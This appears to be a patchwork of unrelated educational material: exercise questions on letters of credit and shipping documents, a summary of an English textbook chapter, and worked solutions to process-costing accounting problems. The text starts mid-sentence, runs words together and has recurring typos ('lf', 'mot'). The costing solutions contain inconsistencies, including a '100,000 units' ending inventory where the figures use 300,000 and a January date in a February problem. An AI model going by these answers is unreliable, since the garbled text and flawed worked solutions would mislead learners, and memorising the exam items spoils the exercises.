documents.( )2. Usually the advising bank is the bank resides in the same city as the buyer. ( )3. Credit, by its nature, is a separate transaction from the sales contract or other contractson which it was based, and banks are in no way concerned with or bound by such contracts. ( )4. A revocable credit cannot be amended. ( )5. Unless otherwise stipulated in the credit, a transferable credit can be transferred only once. ( )6. A transferable credit can be transferred only to one party. ( )7. Under assignment, the beneficiary assigns his right to perform under the credit to a third party. ( )8. An irrevocable confirmed credit gives the beneficiary a double assurance of payment.( )9. Reciprocal credits will be effective only when each of the two parties receives a credit from the opposite side. ( )10. In a red clause credit, the advising bank itself gives a packing loan to the beneficiary. ( )11. Under a red clause credit, the onus of repayment of the advance lies with the applicant. ( )12. Banks run greater risks when they open a revolving credit, therefore they usually specify a total amount available in this type of credit. ( )13. A transferable credit is one that authorizes the beneficiary to transfer part of the right under the credit to third party or parties. ( )14. An irrevocable credit cannot be amended, revoked or cancelled. ( )15. Under a straight credit, the issuing bank is under no obligation to the advising bank. ( )Chapter SixⅢ. Translate the following terms and statements into English.1. 未授权保兑2. 有效地点为开证行所在地的柜台3. 凭代表物权的单据付款4. 信用证以银行信用代替了商业信用5. 信用证独立于它所代表的商业合同Ⅳ. Choose the best answer to each of the following statements.1. A letter of credit is .A. a formal guarantee of paymentB. a conditional undertaking to make paymentC. an unconditional undertaking to make paymentD. a two bank guarantee of payment2. With an unconfirmed irrevocable letter of credit, .A. the terms and conditions can be amended or cancelled unilaterally by any partyB. only the exporter can amend the creditC. the advising bank transmits details without commitment to the beneficiaryD. the issuing bank has the ability to cancel the credit at any time3. A confirmed irrevocable letter of credit .A. carries the confirmation of the issuing bankB. always involves at least two banksC. is issued by the advising bankD. creates the highest level of security against sovereign risk4. Confirmation of a credit may be given by .A. the beneficiary at the request of the importerB. the advising bank at the request of the issuing bankC. the advising bank after the receipt of correct documentationD. the issuing bank after the receipt of correct documentation5. In any dispute over the terms and conditions of a credit, which interpretation will prevail? .A. Uniform Customs and PracticeB. IncotermsC. Statute lawD. International law6. A stand-by letter of credit .A. is never revokedB. is not a letter of creditC. is invoked in the event of non-compliance by buyer or seller with the terms of anoriginal creditD. is invoked in the event of non-compliance by buyer or seller with the terms of thesales contract.7. The beneficiary of a transferred credit is .A. the paying/ accepting/ negotiating bankB. the shipperC. the middlemanD. the producer8. The sum of the transferred credit will not be .A. the same as in the credit before transferB. less than in the credit before transferC. more than in the credit before transferD. equal to the original credit9. Which of the following details on the transferred credit may not be different to that of the credit before transfer? .A. The shipping dateB. The expiry date of the creditC. The description of the goodsD. The name of the applicant10. A back-to-back credit exposes the bank issuing the second credit to risk because .A. the beneficiary under the second credit may not ship goodsB. the documents presented under the second credit may not exactly conform to theterms of the first creditC. the bank has already paid the beneficiary under the second credit before it receivesdocumentation from the beneficiary under the first creditD. the bank has already paid the beneficiary of the first credit before it receivesdocumentation from the beneficiary under the first credit11. Under the red clause credit, on which party does the final responsibility lie forreimbursement if the terms and conditions are not fulfilled by the beneficiary? .A. The issuing bankB. The advising bankC. The beneficiaryD. The applicant12. An applicant must reimburse an issuing bank unless he finds that .A. goods are defectiveB. goods are not as ordered in the sales contractC. documents received do not allow him to clear the goods through customsD. documents do not conform on the face to the terms and conditions of the credit13. A revocable credit cannot be amended or cancelled only after .A. the documents under it have been honoredB. it has been amended onceC. the advising bank has notified the beneficiary of its openingD. it has been confirmed by a correspondent bank14. According to the beneficiary’s instructions, a transferable credit may be madeavailable to .A. one partyB. two partiesC. more partiesD. any of the above15. A bank is obligated to transfer the credit only after .A. being instructedB. being instructed as well as paidC. receiving the creditD. the credit is confirmed16. Under , the obligation of the issuing bank is extended only to thebeneficiary in honoring draft(s)/ document(s) and usually expires at the counters of the issuing bank.A. the irrevocable creditB. the revocable creditC. the confirmed creditD. irrevocable straight credit17. gives the beneficiary double assurance of payment.A. The irrevocable creditB. The revocable creditC. The confirmed creditD. The irrevocable confirmed credit18. The revolving credit can be revolved in relation to .A. timeB. valueC. time and valueD. time or value19. The credit may only be confirmed if it is so authorized or requested by .A. the issuing bankB. the supplierC. the advising bankD. the beneficiary20. The red clause credit is often used as a method of .A. providing the buyer with funds prior to shipmentB. providing the seller with funds prior to shipmentC. providing the buyer with funds after shipmentD. providing the seller with funds after shipmentChapter Seven:Ⅰ.Fill in the blanks to complete each sentence1 When the beneficiary presents the documents to his bank ,he must follow the “3c principle” in his documentation, the “3c” represents ___,___,___.2 The credit is legally quite independent of the ___.3 If a letter of credit is issued by airmail , it ought to be authenticated by ___ and when issued by cable / telex is authenticated by ___.4 The documents of the credit must ___the terms and conditions of the letter of the letter of credit on the one hand and they must ___with each other on the other hand.5 The currency in which the credit is to be issued should be indicated as shown in the ___.Ⅱ.Translate the following terms and sentence into English1 信用证表面的真实性2 标准国际银行惯例3 信息交换系统4 有足够的资金来支付信用证5 买方考虑自己的要求也同样的重要Ⅲ.Decide whether the following statements are true or false1 If a credit is issued by airmail ,it ought to be authenticated by test key .( )2 The issuing bank’s signature is only to be placed on the advice for the beneficiary .( )3 Utilization of the credit is the process of the seller shipping the goods ，presenting the documents and getting informed .( )4 If the credit is advised by a certain bank ,the amendment must also be advised by the same bank.( )5 In examination of the documents ,banks should follow the rule lf “strict compliance”.( )6 The credit is legally quite independent of the underlying transaction.( )7 An issuing bank must always reimburse the advising bank if the latter pays the credit.8 If the tele-transmission states “full details to follow”,then it will mot be deemed tl be the operative credit instrument .( )9 Banks will mot accept a document bearing a date lf issuance prior to that of the credit .( )10 If the credit is a deferred payment credit ,there is no need to draw a draft .( )Ⅳ.Choose the best answer to each lf the following statement1 In addition to stipulating an expiry date for presentation of documents ,every credit should also stipulate a specified period of time after the date of shipment during which presentation must be made .If no such period of tine is stipulated ,banks will not accept documents presented to them ___.Chapter EightⅢ.Decide whether the following statements are true or false1. A commercial invoice is a kind of title documents .( )2. A cover note can be transferred so it is a negotiable instrument .( )3.A short form bill of lading is document of title.( )4.An unclean bill of lading is one which bears any clause or notation .( )5.Cover notes issued by brokers will not be accepted , even specifically authorized in the credit .( )6.Banks will not accept a document bearing a date of issuance prior to that of the credit.( )7.If a credit calls for an insurance certificate , banks will not accept an insurance policy.( )8.Unless otherwise stipulated in the credit ,the insurance document must be expressed in the same currency as the credit .( )mercial invoice meed mot be signed.( )10. A clean bill of lading is one that is not stained.( )Ⅳ.Choose the best answer to each of the following sratements1 Which of the following transport documents is negotiable ? ___A Marine bill of ladingB Air waybillC Rail waybillD FIATA Forwarder Certificate of Receipt2 A bill of lading is a receipt for goods . When is a bill of lading issued ? ___A When the shipper makers up the orderB When the carrier receives the goodsC When the producer manufactures the goodsD When the carrier delivers the goods to the consignee3 The shipper wants assurance that the goods will reach their destination .The bill of lading gives him this assurance .It thus serves as a ___A title documentB negotiable instrumentC receipt for goodsD contract for delivery4 The bill of lading is evidence of ownership .It thus functions as a ___A title documentB negotiable instrumentC receipt for goodsD contract for delivery5 A commercial invoice is ___A a contract for delivery of the merchandiseB demand for paymentC a statement describing the merchandise ,its cost ,and shipping chargesD a promise of payment6 A bill of lading that states “consigned to J. S m ith “ is a ___A short form bill of ladingB negotiable bill of ladingC straight bill of ladingD long form bill of lading7 Under FOB terms ,the bill of lading would state ___A goods loaded on board ,freight paidB goods received for shipment ,freight payable at destinationC goods loaded on board ,freight payable at destinationD goods received for shipment ,freight paid8 Marine insurance policies do not always cover ___A all deliberate losses that save the shipB all accidental total lossesC all partial lossesD voluntary losses to save ship from danger9 If a bill of lading is dated March 5 ,2001 ,the insurance should be covered ___A on March 5 ,2001B before March 5 ,2001C after March 5 ,2001D on or before March 5 ,200110 Commercial invoice must be made out in the name of ___A the applicantB the beneficiaryC the issuing bankD the advising bank11 Abill of lading that bears a wording “bale broken” is ___A a short form bill of ladingB a clean bill of ladingC a stale bill of ladingD an unclean bill of lading12.A bank will not accept______.A.an insurance policyB.an insurance certificateC.an open coverD.a cover mote13.If a credit calls for an insurance policy,banks will accept_______.A.an insurance policyB.an insurance certificateC.both A and BD.open policy14.The minimum amount of the insurance cover must be_______A.110% of CIF valueB.110% of CIP valueC.110% of invoice valueD.110% of FOB value15._________a railway receip______an air consignment not is a document of title togoods in the same way that a bill of lading is.A.Neither…norB.Either…orC.Not…but alsoD.Both…and16.A consular invoice signed by______17.______is the person or company that holds himself or itself liable to compensate theassured in the event of a loss to the insured property proximately caused by a peril insured against.A.The brokerB.The insurerC.The carrierD.The claimant18.The bill of lading is evidence of the contract of carriage _____.A.between the shipper and the carrierB.between the issuing, bank and the carrierC.between the applicant and the carrierD.between the exporter and the importer19.Which one of the following documents is quasi-negotiable instrument ?_____A.A draftB.An invoiceC.A bill of ladingD.A bill of exchange20.When the exporter agrees to sell on open account terms, he should ask the shippingcompany to issue ______.。
典范英语7-1英语梗概
典范英语7-1英语梗概Chapter 7-1 SummaryIn Chapter 7-1 of the Exemplary English textbook, the focus is on practicing listening and speaking skills through various activities and exercises.The chapter starts with a warm-up exercise where students are asked to listen to a conversation and answer some questions based on the dialogue. This helps students assess their listening comprehension abilities and prepares them for the upcoming activities.The main objective of this chapter is to improve students' ability to narrate past events using the simple past tense. The teacher introduces the concept of storytelling and provides examples of past events using visuals and anecdotes. This is followed by a group activity where students share their own memorable experiences with their classmates.To further develop their speaking skills, students engage in a pair-work activity where they take turns narrating a story using the simple past tense. This activity not only enhances their speaking skills but also encourages listening as they need to pay attention to their partner's story.The chapter also includes a listening exercise where students listen to a dialogue and answer comprehension questions. This helps them practice listening for details and understanding different accents or speech patterns.To reinforce grammar skills, students complete a worksheet where they have to form past tense sentences by changing the verbs in brackets. This exercise helps them consolidate their understanding of regular and irregular verb forms in the simple past tense.Lastly, the chapter concludes with a pronunciation practice section. Students listen to sentences and focus on different pronunciation features like vowel sounds, stress patterns, and intonation. This helps improve their spoken English and pronunciation accuracy.Overall, Chapter 7-1 focuses on developing listening and speaking skills by practicing storytelling, listening comprehension, grammar, and pronunciation. These exercises provide students with opportunities to improve their communication skills in English.。
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CHAPTER 7Q7-1 Examples of process costing include flour, glass, paint, and beer.Q7-2 Examples of process costing include handling of mail, income tax returns, and automobile registrations.Q7-3 The central product costing problem in process costing is how each department should compute the cost of goods transferred out and the cost of goods remaining in the department.Q7-4 Five key steps in process cost accounting are:Step 1: summarize the flow of physical unitsStep 2: calculate output in terms of equivalent unitsStep 3: summarize the total costs of account for, which are the total debitsin work in process (that is, the costs applied to work in process)Step 4: calculate unit costsStep 5: apply costs to units completed and to units in ending work in process.Q7-5 The first two steps concentrate on what is occurring in physical or engineering terms. The financial impact of the production process is measured in the final three steps.Q7-6 1 x 10,000 + .5 x 5,000 = 12,500 full-time-equivalent students.Q7-7 The quotation refers to the weighted-average method.Q7-8 Beginning inventories + Units started = Units transferred out + Ending inventories.Q7-9 The quotation refers to the FIFO method.Q7-10 "Work done in current period only" is a key measurement to judging performance for a given span of time because the resulting unit costs are unaffected by the averaging with work done on the beginning inventory during the preceding period. Such a measurement is used for FIFO process costing.Q7-11 The quotation refers to the weighted-average method.Q7-12 Differences in unit costs between FIFO and weighted-average methods are ordinarily insignificant because (a) changes in material prices, labour wage rates, and other manufacturing costs from month to month tend to be small, and (b) changes in the volume of production and inventory levels also tend to be small.Q7-13 Yes. FIFO process costing isolates the production in the current period andthe costs incurred in that period. The cost per unit for work in the current period only is relevant for assessing the efficiency of production. It can be compared either to standards or to previous costs.Q7-14 Transferred-in costs are accounted for operationally the same as direct materials added at the beginning of a production process. They differ from direct material costs because they are a combination of direct material and conversion costs from a previous department; thus, calling them a direct-material cost is inappropriate. P7-11. (Step 2)(Step 1) Equivalent UnitsPhysical Direct Conversion Flow of Production Units Materials Costs Started and completed 650,000 650,000 650,000 Work in process, ending inventory 220,000 220,000 132,000* Units accounted for 870,000Work done to date 870,000 782,000 Total costs to account for (Step 3) $ 4,601,200 $ 3,741,000 $ 860,200 Divide by equivalent units (Step 4) 870,000 782,000 Unit costs $ 5.40 $ 4.30 $ 1.10 *220,000 x .60Application of costs (Step 5):To units completed and transferred,650,000 units ($5.40) $ 3,510,000To units still in process, end,220,000 units:Direct materials $ 946,000 220,000($4.30) Conversion costs 145,200 132,000($1.10) Work in process, end $ 1,091,200Total costs accounted for $ 4,601,200P7-3 (10-15 min.)1.(Step 2)(Step 1) Equivalent UnitsPhysical Direct ConversionFlow of Production Units Materials Costs Started and completed 17,000 17,000 17,000 Work in process, ending inventory 2,000Direct materials added: 2,000 x 1 2,000Conversion costs added: 2,000 x 1/2 1,000 Total accounted for 19,000Total work done 19,000 18,000 Total costs to account for (Step 3): $147,000 $57,000 $ 90,000 Divide by equivalent units (Step 4): 19,000 18,000 Unit costs $ 8.00 $ 3.00 $ 5.00 2. Totals DetailsApplication of costs (Step 5):To units completed and transferred toTesting, 17,000 units ($8.00) $136,000To units not completed and still inprocess, Feb. 28, 2,000 units:Direct materials $ 6,000 2,000($3.00)Conversion costs 5,000 1,000($5.00) Work in process, Jan. 31 $ 11,000Total costs accounted for $147,0003.1. Work in process — Assembly 57,000Direct materials inventory 57,000Materials added to production in February.2. Work in process — Assembly 50,000Accrued payroll 50,000Direct labour in February.3. Work in process — Assembly 40,000Factory overhead 40,000Factory overhead applied in February.4. Work in process — Testing 136,000Work in process — Assembly 136,000Cost of goods completed and transferred inFebruary from Assembly to Testing.P7-4 (20-30 min.)1. (Step 2)(Step 1) Equivalent UnitsPhysical Direct Conversion Flow of Production Units Materials Costs Started and completed 600,000 600,000 600,000Work in process, ending inventory 300,000 300,000 150,000* Units accounted for 900,000Units work done to date 900,000 750,000 Total costs to account for (Step 3) $2,370,000 $1,620,000 $750,000 Divide by equivalent units (Step 4) 900,000 750,000 Unit costs $2.80 $1.80 $1.00 *300,000 x .52.Application of costs (Step 5): Totals DetailsTo units completed and transferred toFinishing, 600,000 units ($2.80) $1,680,000To units not completed and still inprocess, end, 100,000 units:Direct materials $ 540,000 300,000 ($1.80)Conversion costs 150,000 150,000($1.00) Work in process, end $ 690,000Total costs accounted for $2,370,0003.1. Work in process — Assembly 1,620,000Direct materials inventory 1,620,000Materials added to production2. Work in process — Assembly 475,000Accrued payroll 475,000Direct labour3. Work in process — Assembly 275,000Factory overhead 275,000Factory overhead appliedP7-8(Step 2)(Step 1) Equivalent UnitsPhysical Direct Conversion Flow of Production in Units Units Materials Costs Work in process, beginning inventory 20,000aStarted 45,000To account for 65,000Completed and transferred 63,00063,000 63,000 Work in process, ending inventory 2,000b 800 200 Units accounted for 65,000Work done to date 63,800 63,200 Less: Equivalent units of work from previousperiods included in beginning inventory 16,000c 8,000c Work done in current period only (FIFO method) 47,800 55,200A Degree of completion: direct materials 80%; conversion costs, 40%B Degree of completion: direct materials 40%; conversion costs, 10%C 80% and 40% of 20,000P7-11Units completed 45,000Work done on ending inventory, .30 x 15,000 4,500Work done to date 49,500 Less: Equivalent units of work from previousperiods included in beginning inventory, .75 x 10,000 7,500Work done in current period only 42,000Unit conversion cost = $222,600÷ 42,000 = $5.30.P7-121.(Step 1) ( Step 2)Equivalent UnitsPhysical Direct Conversion Flow of Production Units Materials Costs Work in process, beginning inventory 550 (40%)*Started 7,150To account for 7,700Completed and transferred out duringcurrent period, 550 + 7,150 – 400 7,300 7,300 7,300 Work in process, ending inventory 400 (20%)* 400 80 Units accounted for 7,700Work done to date 7,700 7,380DetailsDirect Conversion Costs Totals Materials Costs Work in process, beginning inventory $ 5,104 $ 3,190 $ 1,914 Costs added currently 100,326 65,340 34,986 (Step 3) Total costs to account for $105,430 $ 68,530 $ 36,900 (Step 4) Divisor, equivalent units forwork done to date ÷ 7,700 ÷7,380 Cost per equivalent unit $ 13.90 $ 8.90 $ 5.00 (Step 5) Application of CostsCompleted, (7,300 units) $ 101,470 7,300 ($13.90)Work in process, ending inventory(400 units):Direct materials (400) $ 3,560 400($8.90)Conversion costs (80) 400 80($5.00) Total work in process $ 3,960Total costs accounted for $105,4302.1. Work in process, Department A 65,340Direct materials inventory 65,3402. Work in process, Department A 34,986V arious accounts 34,9863. Work in process, Department B 101,470Work in process, Department A 101,470(25-35 min.) (Step 2)P7-13(Step 1) Equivalent UnitsPhysical Direct Conversion Flow of Production Units Materials Costs Work in process, beginning inventory 550 (40%)*Started 7,150To account for 7,700Completed and transferred out during currentperiod, 550 + 7,150 – 400 7,300 7,300 7,300 Work in process, ending inventory 400 (20%)* 400 80 Units accounted for 7,700Work done to date (that is, done in the currentand previous periods) 7,700 7,380Less: equivalent units of work from previousperiod included in beginning inventory,100% and 40% of 550 550 220 Work done in current period only 7,150 7,160DetailsCosts to Direct Conversion Costs Account for Materials Costs Work in process, beginning, $1,914 + $3,190 $ 5,104Costs added currently 100,326 $ 65,340 $34,986 Costs to account for (Step 3) $ 105,430Divide by equivalent units (Step 4) ÷ 7,150 ÷ 7,160 Costs per equivalent unit $ 14.0248 $ 9.1385 $ 4.8863DetailsCosts Direct Conversion Costs Account for Materials Costs Work in process, ending inventoryDirect materials $ 3,655 400 ($9.1385)Conversion costs 391 80(4.886) Total work in process (400 units) $ 4,046Completed and transferred out (7,300 units),$105,430 - $4,046 = $101,384 $ 101,384Total costs accounted for $105,430。